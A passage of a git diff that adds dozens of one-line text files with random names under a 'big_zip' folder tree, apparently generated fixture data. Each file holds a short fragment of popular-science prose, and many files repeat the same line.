+were gods like Anu, Ea, and Shamash. In that universe humans played an important if not acentral role. We were intimately bound up with the rest of nature. The treatment of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_dclcgxzdkfv.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_dclcgxzdkfv.txt
new file mode 100644
index 0000000..dfa5af5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_dclcgxzdkfv.txt
@@ -0,0 +1 @@
+were gods like Anu, Ea, and Shamash. In that universe humans played an important if not acentral role. We were intimately bound up with the rest of nature. The treatment of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_diwvtbieejuk.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_diwvtbieejuk.txt
new file mode 100644
index 0000000..dfa5af5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_diwvtbieejuk.txt
@@ -0,0 +1 @@
+were gods like Anu, Ea, and Shamash. In that universe humans played an important if not acentral role. We were intimately bound up with the rest of nature. The treatment of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_dtipgtlevgzecckkuoym.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_dtipgtlevgzecckkuoym.txt
new file mode 100644
index 0000000..dfa5af5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_dtipgtlevgzecckkuoym.txt
@@ -0,0 +1 @@
+were gods like Anu, Ea, and Shamash. In that universe humans played an important if not acentral role. We were intimately bound up with the rest of nature. The treatment of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_erdsjvvrmcwqunrlgtmk.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_erdsjvvrmcwqunrlgtmk.txt
new file mode 100644
index 0000000..dfa5af5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_erdsjvvrmcwqunrlgtmk.txt
@@ -0,0 +1 @@
+were gods like Anu, Ea, and Shamash. In that universe humans played an important if not acentral role. We were intimately bound up with the rest of nature. The treatment of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_fobcsnkddlseww.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_fobcsnkddlseww.txt
new file mode 100644
index 0000000..dfa5af5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_fobcsnkddlseww.txt
@@ -0,0 +1 @@
+were gods like Anu, Ea, and Shamash. In that universe humans played an important if not acentral role. We were intimately bound up with the rest of nature. The treatment of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_iitzzxnhovewjfbfhuwq.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_iitzzxnhovewjfbfhuwq.txt
new file mode 100644
index 0000000..dfa5af5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_iitzzxnhovewjfbfhuwq.txt
@@ -0,0 +1 @@
+were gods like Anu, Ea, and Shamash. In that universe humans played an important if not acentral role. We were intimately bound up with the rest of nature. The treatment of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_kyzlxywpcruxpxcvxug.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_kyzlxywpcruxpxcvxug.txt
new file mode 100644
index 0000000..dfa5af5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_kyzlxywpcruxpxcvxug.txt
@@ -0,0 +1 @@
+were gods like Anu, Ea, and Shamash. In that universe humans played an important if not acentral role. We were intimately bound up with the rest of nature. The treatment of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_lfwfbcexyvj.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_lfwfbcexyvj.txt
new file mode 100644
index 0000000..dfa5af5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_lfwfbcexyvj.txt
@@ -0,0 +1 @@
+were gods like Anu, Ea, and Shamash. In that universe humans played an important if not acentral role. We were intimately bound up with the rest of nature. The treatment of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_mhaqorfnddunkdftebbbirh.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_mhaqorfnddunkdftebbbirh.txt
new file mode 100644
index 0000000..dfa5af5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_mhaqorfnddunkdftebbbirh.txt
@@ -0,0 +1 @@
+were gods like Anu, Ea, and Shamash. In that universe humans played an important if not acentral role. We were intimately bound up with the rest of nature. The treatment of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_oxtwsvvqj.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_oxtwsvvqj.txt
new file mode 100644
index 0000000..dfa5af5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_oxtwsvvqj.txt
@@ -0,0 +1 @@
+were gods like Anu, Ea, and Shamash. In that universe humans played an important if not acentral role. We were intimately bound up with the rest of nature. The treatment of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_qkdmshjkib.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_qkdmshjkib.txt
new file mode 100644
index 0000000..dfa5af5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_qkdmshjkib.txt
@@ -0,0 +1 @@
+were gods like Anu, Ea, and Shamash. In that universe humans played an important if not acentral role. We were intimately bound up with the rest of nature. The treatment of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_rzpuzkrkzg.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_rzpuzkrkzg.txt
new file mode 100644
index 0000000..dfa5af5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_rzpuzkrkzg.txt
@@ -0,0 +1 @@
+were gods like Anu, Ea, and Shamash. In that universe humans played an important if not acentral role. We were intimately bound up with the rest of nature. The treatment of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_tgcorhbakgzczwtqsqch.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_tgcorhbakgzczwtqsqch.txt
new file mode 100644
index 0000000..dfa5af5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_tgcorhbakgzczwtqsqch.txt
@@ -0,0 +1 @@
+were gods like Anu, Ea, and Shamash. In that universe humans played an important if not acentral role. We were intimately bound up with the rest of nature. The treatment of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_uefnlfzj.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_uefnlfzj.txt
new file mode 100644
index 0000000..dfa5af5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_uefnlfzj.txt
@@ -0,0 +1 @@
+were gods like Anu, Ea, and Shamash. In that universe humans played an important if not acentral role. We were intimately bound up with the rest of nature. The treatment of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_xhikcesgwtnmckijyljsoxww.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_xhikcesgwtnmckijyljsoxww.txt
new file mode 100644
index 0000000..dfa5af5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_xhikcesgwtnmckijyljsoxww.txt
@@ -0,0 +1 @@
+were gods like Anu, Ea, and Shamash. In that universe humans played an important if not acentral role. We were intimately bound up with the rest of nature. The treatment of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_xlrdcijxiglztf.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_xlrdcijxiglztf.txt
new file mode 100644
index 0000000..dfa5af5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_xlrdcijxiglztf.txt
@@ -0,0 +1 @@
+were gods like Anu, Ea, and Shamash. In that universe humans played an important if not acentral role. We were intimately bound up with the rest of nature. The treatment of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_xmpgkfhudtuvleewlkqe.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_xmpgkfhudtuvleewlkqe.txt
new file mode 100644
index 0000000..dfa5af5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_xmpgkfhudtuvleewlkqe.txt
@@ -0,0 +1 @@
+were gods like Anu, Ea, and Shamash. In that universe humans played an important if not acentral role. We were intimately bound up with the rest of nature. The treatment of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_xvxdgrgfzkztpov.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_xvxdgrgfzkztpov.txt
new file mode 100644
index 0000000..dfa5af5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_xvxdgrgfzkztpov.txt
@@ -0,0 +1 @@
+were gods like Anu, Ea, and Shamash. In that universe humans played an important if not acentral role. We were intimately bound up with the rest of nature. The treatment of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_yavvjmxpitacxnxvfpcek.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_yavvjmxpitacxnxvfpcek.txt
new file mode 100644
index 0000000..dfa5af5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_yavvjmxpitacxnxvfpcek.txt
@@ -0,0 +1 @@
+were gods like Anu, Ea, and Shamash. In that universe humans played an important if not acentral role. We were intimately bound up with the rest of nature. The treatment of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_yxvurmrsniplbxkv.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_yxvurmrsniplbxkv.txt
new file mode 100644
index 0000000..dfa5af5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_yxvurmrsniplbxkv.txt
@@ -0,0 +1 @@
+were gods like Anu, Ea, and Shamash. In that universe humans played an important if not acentral role. We were intimately bound up with the rest of nature. The treatment of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_zbgfwvitrtxpngisq.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_zbgfwvitrtxpngisq.txt
new file mode 100644
index 0000000..dfa5af5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/file_zbgfwvitrtxpngisq.txt
@@ -0,0 +1 @@
+were gods like Anu, Ea, and Shamash. In that universe humans played an important if not acentral role. We were intimately bound up with the rest of nature. The treatment of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_axemoftjgkwzenbnrtbdsfc.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_axemoftjgkwzenbnrtbdsfc.txt
new file mode 100644
index 0000000..6af2cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_axemoftjgkwzenbnrtbdsfc.txt
@@ -0,0 +1 @@
+Planning Director, a man of extraordinary organizational abilities. We decided, gamely, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_csvulklobxdmqedwhl.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_csvulklobxdmqedwhl.txt
new file mode 100644
index 0000000..6af2cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_csvulklobxdmqedwhl.txt
@@ -0,0 +1 @@
+Planning Director, a man of extraordinary organizational abilities. We decided, gamely, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_fgzglznxuisqpdhhkrpxkhdh.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_fgzglznxuisqpdhhkrpxkhdh.txt
new file mode 100644
index 0000000..6af2cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_fgzglznxuisqpdhhkrpxkhdh.txt
@@ -0,0 +1 @@
+Planning Director, a man of extraordinary organizational abilities. We decided, gamely, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_geeiwyldgxjvk.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_geeiwyldgxjvk.txt
new file mode 100644
index 0000000..6af2cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_geeiwyldgxjvk.txt
@@ -0,0 +1 @@
+Planning Director, a man of extraordinary organizational abilities. We decided, gamely, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_hfobtcdoafzqa.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_hfobtcdoafzqa.txt
new file mode 100644
index 0000000..6af2cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_hfobtcdoafzqa.txt
@@ -0,0 +1 @@
+Planning Director, a man of extraordinary organizational abilities. We decided, gamely, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_hiflnmduafeyrpjkuo.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_hiflnmduafeyrpjkuo.txt
new file mode 100644
index 0000000..6af2cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_hiflnmduafeyrpjkuo.txt
@@ -0,0 +1 @@
+Planning Director, a man of extraordinary organizational abilities. We decided, gamely, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_hulhsydoioznmfyshjsopbu.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_hulhsydoioznmfyshjsopbu.txt
new file mode 100644
index 0000000..6af2cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_hulhsydoioznmfyshjsopbu.txt
@@ -0,0 +1 @@
+Planning Director, a man of extraordinary organizational abilities. We decided, gamely, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_nswaahkmoow.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_nswaahkmoow.txt
new file mode 100644
index 0000000..6af2cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_nswaahkmoow.txt
@@ -0,0 +1 @@
+Planning Director, a man of extraordinary organizational abilities. We decided, gamely, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_rmmzlgzlvkkvnr.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_rmmzlgzlvkkvnr.txt
new file mode 100644
index 0000000..6af2cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_rmmzlgzlvkkvnr.txt
@@ -0,0 +1 @@
+Planning Director, a man of extraordinary organizational abilities. We decided, gamely, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_rnzdqnlyev.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_rnzdqnlyev.txt
new file mode 100644
index 0000000..6af2cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_rnzdqnlyev.txt
@@ -0,0 +1 @@
+Planning Director, a man of extraordinary organizational abilities. We decided, gamely, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_sfiatwczquslmjuxi.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_sfiatwczquslmjuxi.txt
new file mode 100644
index 0000000..6af2cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_sfiatwczquslmjuxi.txt
@@ -0,0 +1 @@
+Planning Director, a man of extraordinary organizational abilities. We decided, gamely, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_sgqfuqdxmrntjhhdtfx.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_sgqfuqdxmrntjhhdtfx.txt
new file mode 100644
index 0000000..6af2cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_sgqfuqdxmrntjhhdtfx.txt
@@ -0,0 +1 @@
+Planning Director, a man of extraordinary organizational abilities. We decided, gamely, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_vttwymbicsrfjfxink.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_vttwymbicsrfjfxink.txt
new file mode 100644
index 0000000..6af2cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_vttwymbicsrfjfxink.txt
@@ -0,0 +1 @@
+Planning Director, a man of extraordinary organizational abilities. We decided, gamely, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_yolqsilfqdvfusiludgfvikn.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_yolqsilfqdvfusiludgfvikn.txt
new file mode 100644
index 0000000..6af2cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_yolqsilfqdvfusiludgfvikn.txt
@@ -0,0 +1 @@
+Planning Director, a man of extraordinary organizational abilities. We decided, gamely, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_yubquuwapxeywg.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_yubquuwapxeywg.txt
new file mode 100644
index 0000000..6af2cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/file_yubquuwapxeywg.txt
@@ -0,0 +1 @@
+Planning Director, a man of extraordinary organizational abilities. We decided, gamely, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/axkjvsijbegiwkbdpebygqox.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/axkjvsijbegiwkbdpebygqox.txt
new file mode 100644
index 0000000..e280c35
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/axkjvsijbegiwkbdpebygqox.txt
@@ -0,0 +1 @@
+(1/3) + (1/r) = (1/2) + (1/E), or
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/biidimbhkbqnlmbzoaeo.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/biidimbhkbqnlmbzoaeo.txt
new file mode 100644
index 0000000..2300ed6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/biidimbhkbqnlmbzoaeo.txt
@@ -0,0 +1 @@
+With heavy heart I knocked on his office door. ‘Come in,’ came the muffled cry. I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/bqtyrbkqrtyaz.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/bqtyrbkqrtyaz.txt
new file mode 100644
index 0000000..2a38fc9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/bqtyrbkqrtyaz.txt
@@ -0,0 +1 @@
+Some are pictographs. The end of the Ptolemy cartouche means ‘Ever-living, beloved of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/byixjoaqqevdl.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/byixjoaqqevdl.txt
new file mode 100644
index 0000000..a0291eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/byixjoaqqevdl.txt
@@ -0,0 +1 @@
+should be more impacts by small objects than by large ones. An impact of a small cometary
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/ebnztmnqnwzi.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/ebnztmnqnwzi.txt
new file mode 100644
index 0000000..23ec650
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/ebnztmnqnwzi.txt
@@ -0,0 +1 @@
+our ability to resist disease. In the longer term, there are mutations, new varieties of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_axvfbuhfmmbsj.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_axvfbuhfmmbsj.txt
new file mode 100644
index 0000000..78325e1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_axvfbuhfmmbsj.txt
@@ -0,0 +1 @@
+the lower the pitch. If the car is racing away from us, it stretches out the sound waves,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_ddvftaimn.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_ddvftaimn.txt
new file mode 100644
index 0000000..78325e1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_ddvftaimn.txt
@@ -0,0 +1 @@
+the lower the pitch. If the car is racing away from us, it stretches out the sound waves,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_iephpsynwwhv.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_iephpsynwwhv.txt
new file mode 100644
index 0000000..78325e1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_iephpsynwwhv.txt
@@ -0,0 +1 @@
+the lower the pitch. If the car is racing away from us, it stretches out the sound waves,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_ldwkibbphlwebmzfesuqqu.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_ldwkibbphlwebmzfesuqqu.txt
new file mode 100644
index 0000000..78325e1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_ldwkibbphlwebmzfesuqqu.txt
@@ -0,0 +1 @@
+the lower the pitch. If the car is racing away from us, it stretches out the sound waves,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_lfacuwcwzvsnn.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_lfacuwcwzvsnn.txt
new file mode 100644
index 0000000..78325e1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_lfacuwcwzvsnn.txt
@@ -0,0 +1 @@
+the lower the pitch. If the car is racing away from us, it stretches out the sound waves,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_lkmtnbuyl.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_lkmtnbuyl.txt
new file mode 100644
index 0000000..78325e1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_lkmtnbuyl.txt
@@ -0,0 +1 @@
+the lower the pitch. If the car is racing away from us, it stretches out the sound waves,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_lykmpzxfffitptlwq.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_lykmpzxfffitptlwq.txt
new file mode 100644
index 0000000..78325e1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_lykmpzxfffitptlwq.txt
@@ -0,0 +1 @@
+the lower the pitch. If the car is racing away from us, it stretches out the sound waves,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_mkqowkynbcobcwepjl.txt b/big_zip/big-zip-files/folder_cqwqkwgnco/folder_knrgeyzdqa/folder_gdniedildo/folder_bhdlkhdbyc/file_mkqowkynbcobcwepjl.txt
new file mode 100644
index 0000000..78325e1
--- /dev/null
